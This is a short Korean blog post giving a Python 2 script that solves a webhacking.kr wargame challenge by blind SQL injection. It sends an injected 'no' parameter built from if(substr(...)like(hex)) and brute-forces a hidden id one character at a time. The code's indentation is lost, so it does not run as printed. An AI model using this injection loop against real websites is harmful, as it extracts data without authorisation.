본문 바로가기

Python

web6

http://webhacking.kr/challenge/web/web-09/index.php?no=if(substr(id,1,15)like(0x5f5f5f5f5f5f5f5f5f5f5f),3,0)




import requests



f=open("ID_result","wb")

key=""

site="http://webhacking.kr/challenge/web/web-09/index.php"

header={'Cookie':'PHPSESSID='}

for j in range(1,15):

for i in range(30,126):

if chr(i)=='%' or chr(i)=='_' :

 continue

site="http://webhacking.kr/challenge/web/web-09/index.php"

site+="?no=if(substr(id,"+str(j)+",1)like("+str(hex(i))+"),3,0)"


print site

r=requests.put(site,headers=header)

if "Secret" in r.text:

 key+=chr(i)

 print ("======\nNow Key is : %s\n====="%key)

 f.write(key+"\n")

 break;

f.close()

'Python' 카테고리의 다른 글

C in Python  (0) 2015.10.05
python except 에러표시  (0) 2014.10.10
Pip 설치  (0) 2014.09.18
Python ksg_code.py  (0) 2014.09.18
Python AES  (0) 2014.09.15